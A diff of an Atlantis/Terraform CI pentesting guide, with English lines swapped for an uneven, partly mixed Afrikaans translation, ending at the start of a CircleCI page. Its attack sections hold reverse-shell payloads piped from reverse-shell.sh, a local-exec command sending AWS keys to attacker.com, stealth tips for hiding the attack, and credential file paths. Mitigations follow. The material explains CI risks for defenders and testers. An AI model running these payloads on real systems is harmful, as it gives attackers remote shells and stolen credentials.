1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat.
|
||||
1. Waarskynlik vereis om toegelaat te word deur vlae soos `allowed_overrides` of `allow_custom_workflows`.
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
|
||||
3. **Standaard** waardes.
|
||||
|
||||
**PR Protections**
|
||||
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergeable`** wees (tak beskermings geslaag) **voor die uitvoering van apply**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.
|
||||
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
In die geval dat `allowed_overrides` waar is, kan hierdie instellings **oor geskryf word op elke projek deur die `/atlantis.yml` lêer**.
|
||||
|
||||
**Scripts**
|
||||
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
Die repo konfigurasie kan **scripts spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**
|
||||
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
|
||||
Daar is geen opsie om **te spesifiseer** hierdie scripts in die **repo `/atlantis.yml`** lêer nie.
|
||||
|
||||
**Workflow**
|
||||
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe persoonlike workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
|
||||
Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow te spesifiseer wat gebruik moet word.**
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> As die [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oor te skryf**.\
|
||||
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -126,19 +126,18 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
|
||||
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
Atlantis ondersteun die uitvoering van **server-side** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir die gebruik van hierdie stap sluit in:
|
||||
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
- Ontkenning van die gebruik van 'n lys van modules.
|
||||
- Bevestiging van eienskappe van 'n hulpbron tydens die skepping.
|
||||
- Vang onbedoelde hulpbron verwyderings.
|
||||
- Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek).
|
||||
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
Jy kan kyk hoe om dit te konfigureer in [**die docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
|
||||
[**In die docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
|
||||
### Attacks
|
||||
### Aanvalle
|
||||
|
||||
> [!WARNING]
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
> As jy tydens die ontginning hierdie **fout** vind: `Error: Error acquiring the state lock`
|
||||
|
||||
Jy kan dit regmaak deur te loop:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Konfigurasie wysiging in nuwe PR
|
||||
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis plan`** kan **uitvoer** (of miskien word dit outomaties uitgevoer), **sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
|
||||
|
||||
Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf`-lêer:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
|
||||
**Stealthier Attack**
|
||||
**Stealthier Aanval**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell code in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **In plaas daarvan** om 'n **PR na master** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - Konfigurasie wysiging in nuwe PR
|
||||
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis apply` kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
Jy sal egter gewoonlik sommige beskermings moet omseil:
|
||||
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
- **Mergeable**: As hierdie beskerming in Atlantis gestel is, kan jy slegs **`atlantis apply` uitvoer as die PR mergeable is** (wat beteken dat die tak beskerming omseil moet word).
|
||||
- Kontroleer potensiële [**tak beskerming omseilings**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Goedgekeurd**: As hierdie beskerming in Atlantis gestel is, moet 'n **ander gebruiker die PR goedkeur** voordat jy `atlantis apply` kan uitvoer.
|
||||
- Standaard kan jy die [**Gitbot token misbruik om hierdie beskerming om te seil**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Voer **`terraform apply` uit op 'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Jy moet net seker maak dat 'n payload soos die volgende in die `main.tf` lêer eindig:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier** uit te voer.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
Wanneer jy `atlantis plan` of `atlantis apply` uitvoer, word terraform onder-needs uitgevoer, jy kan opdragte aan terraform deur atlantis deur iets soos te kommentaar:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -256,7 +243,6 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Custom Workflow
|
||||
@@ -265,7 +251,7 @@ Running **malicious custom build commands** specified in an `atlantis.yaml` file
|
||||
This possibility was mentioned in a previous section:
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **gespesifiseer** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **oorheers die werkvloei** that is going to be used.
|
||||
>
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
@@ -288,97 +274,95 @@ This possibility was mentioned in a previous section:
|
||||
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _het_ `apply_requirements` configured, it's possible for a repo to **wysig die plan/apply beskerming om dit te omseil**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
As iemand **`atlantis plan/apply` kommentaar op jou geldige pull requests stuur,** sal dit veroorsaak dat terraform loop wanneer jy nie wil hê dit moet nie.
|
||||
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
Boonop, as jy nie in die **branch protection** gekonfigureer het om te vra om elke PR te **herwaardeer** wanneer 'n **nuwe commit gestuur** word nie, kan iemand **kwaadwillige konfigurasies skryf** (kyk vorige scenario's) in die terraform konfigurasie, `atlantis plan/apply` uitvoer en RCE verkry.
|
||||
|
||||
This is the **setting** in Github branch protections:
|
||||
Dit is die **instelling** in Github branch protections:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
As jy daarin slaag om die **webhook secret** te **steel** of as daar **geen webhook secret** gebruik word nie, kan jy die **Atlantis webhook** aanroep en **atlatis opdragte** direk aanroep.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
Bitbucket Cloud ondersteun **nie webhook secrets** nie. Dit kan aanvallers toelaat om **versoekte van Bitbucket te spoof**. Verseker dat jy slegs Bitbucket IP's toelaat.
|
||||
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
- Dit beteken dat 'n **aanvaller** **valse versoeke aan Atlantis** kan maak wat lyk asof dit van Bitbucket kom.
|
||||
- As jy `--repo-allowlist` spesifiseer, kan hulle slegs valse versoeke rakende daardie repos maak, so die meeste skade wat hulle kan aanrig, sal wees om te plan/apply op jou eie repos.
|
||||
- Om dit te voorkom, toelaat [Bitbucket se IP adresse](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (kyk Uitgaande IPv4 adresse).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
As jy daarin geslaag het om toegang tot die bediener te verkry of ten minste jy het 'n LFI, is daar 'n paar interessante dinge wat jy moet probeer lees:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
- `/home/atlantis/.git-credentials` Bevat vcs toegang akkrediteer
|
||||
- `/atlantis-data/atlantis.db` Bevat vcs toegang akkrediteer met meer inligting
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform staat lêer
|
||||
- Voorbeeld: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Omgewings veranderlikes
|
||||
- `/proc/[2-20]/cmdline` Cmd lyn van `atlantis server` (kan sensitiewe data bevat)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
#### Moet nie op Publieke Repos Gebruik nie <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
Omdat enigiemand kommentaar op publieke pull requests kan lewer, selfs met al die sekuriteitsmitigaties beskikbaar, is dit steeds gevaarlik om Atlantis op publieke repos te laat loop sonder behoorlike konfigurasie van die sekuriteitsinstellings.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
#### Moet nie `--allow-fork-prs` Gebruik nie <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
As jy op 'n publieke repo (wat nie aanbeveel word nie, kyk bo) loop, moet jy nie `--allow-fork-prs` stel nie (standaard is vals) omdat enigiemand 'n pull request van hul fork na jou repo kan oopmaak.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
Atlantis vereis dat jy 'n allowlist van repositories spesifiseer waarvan dit webhooks sal aanvaar via die `--repo-allowlist` vlag. Byvoorbeeld:
|
||||
|
||||
- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
|
||||
- Spesifieke repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Jou hele organisasie: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Elke repository in jou GitHub Enterprise installasie: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Alle repositories: `--repo-allowlist=*`. Nuttig wanneer jy in 'n beskermde netwerk is, maar gevaarlik sonder om ook 'n webhook secret in te stel.
|
||||
|
||||
This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
|
||||
Hierdie vlag verseker dat jou Atlantis installasie nie gebruik word met repositories wat jy nie beheer nie. Kyk na `atlantis server --help` vir meer besonderhede.
|
||||
|
||||
#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
#### Beskerm Terraform Beplanning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
|
||||
|
||||
If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
|
||||
As aanvallers pull requests met kwaadwillige Terraform kode indien in jou bedreigingsmodel, moet jy bewus wees dat `terraform apply` goedkeuringe nie genoeg is nie. Dit is moontlik om kwaadwillige kode in 'n `terraform plan` te loop deur die [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) of deur 'n kwaadwillige verskaffer te spesifiseer. Hierdie kode kan dan jou akkrediteer uitvreet.
|
||||
|
||||
To prevent this, you could:
|
||||
Om dit te voorkom, kan jy:
|
||||
|
||||
1. Bake providers into the Atlantis image or host and deny egress in production.
|
||||
2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
|
||||
3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
|
||||
1. Verskaffers in die Atlantis beeld bak of gasheer en egress in produksie ontken.
|
||||
2. Die verskaffer registrasie protokol intern implementeer en publieke egress ontken, sodat jy beheer wie skrywe toegang tot die registrasie het.
|
||||
3. Jou [server-side repo konfigurasie](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` stap wysig om te valideer teen die gebruik van verbode verskaffers of data bronne of PR's van nie toegelate gebruikers. Jy kan ook ekstra validasie by hierdie punt voeg, bv. vereis 'n "duim-op" op die PR voordat jy die `plan` toelaat om voort te gaan. Conftest kan hier nuttig wees.
|
||||
|
||||
#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
|
||||
|
||||
Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
|
||||
Atlantis moet met Webhook secrets gedraai word wat via die `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` omgewingsveranderlikes ingestel is. Selfs met die `--repo-allowlist` vlag ingestel, kan aanvallers versoeke aan Atlantis maak wat as 'n repository wat toegelaat is, voorgee. Webhook secrets verseker dat die webhook versoeke werklik van jou VCS verskaffer (GitHub of GitLab) kom.
|
||||
|
||||
If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
|
||||
As jy Azure DevOps gebruik, voeg in plaas van webhook secrets 'n basiese gebruikersnaam en wagwoord by.
|
||||
|
||||
#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
#### Azure DevOps Basiese Verifikasie <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
|
||||
|
||||
Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
|
||||
Azure DevOps ondersteun die stuur van 'n basiese verifikasie kop in alle webhook gebeurtenisse. Dit vereis die gebruik van 'n HTTPS URL vir jou webhook ligging.
|
||||
|
||||
#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
|
||||
|
||||
If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
|
||||
As jy webhook secrets gebruik, maar jou verkeer is oor HTTP, kan die webhook secrets gesteel word. Aktiveer SSL/HTTPS met die `--ssl-cert-file` en `--ssl-key-file` vlag.
|
||||
|
||||
#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
#### Aktiveer Verifikasie op Atlantis Webbediener <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
|
||||
|
||||
It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
|
||||
Dit word baie aanbeveel om verifikasie in die webdiens te aktiveer. Aktiveer BasicAuth met die `--web-basic-auth=true` en stel 'n gebruikersnaam en 'n wagwoord op met die `--web-username=yourUsername` en `--web-password=yourPassword` vlag.
|
||||
|
||||
You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
Jy kan ook hierdie as omgewingsveranderlikes deurgee `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` en `ATLANTIS_WEB_PASSWORD=yourPassword`.
|
||||
|
||||
### References
|
||||
|
||||
@@ -386,7 +370,3 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
|
||||
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,259 +1,235 @@
|
||||
# CircleCI Security
|
||||
# CircleCI Veiligheid
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
|
||||
[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is 'n Kontinuïteitsintegrasie-platform waar jy **sjablone** kan **definieer** wat jy wil hê dit moet met 'n paar kode doen en wanneer om dit te doen. Op hierdie manier kan jy **toetsing** of **ontplooiings** direk **van jou repo hooftak** byvoorbeeld **outomatiseer**.
|
||||
|
||||
### Permissions
|
||||
### Toestemmings
|
||||
|
||||
**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
|
||||
In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
|
||||
**CircleCI** **erf die toestemmings** van github en bitbucket wat verband hou met die **rekening** wat aanmeld.\
|
||||
In my toetse het ek gekontroleer dat solank jy **skryftoestemmings oor die repo in github** het, jy in staat gaan wees om **sy projekinstellings in CircleCI te bestuur** (nuwe ssh sleutels op te stel, projek api sleutels te kry, nuwe takke met nuwe CircleCI konfigurasies te skep...).
|
||||
|
||||
However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
|
||||
Jy moet egter 'n **repo admin** wees om die **repo in 'n CircleCI projek te omskep**.
|
||||
|
||||
### Env Variables & Secrets
|
||||
### Omgewing Veranderlikes & Geheime
|
||||
|
||||
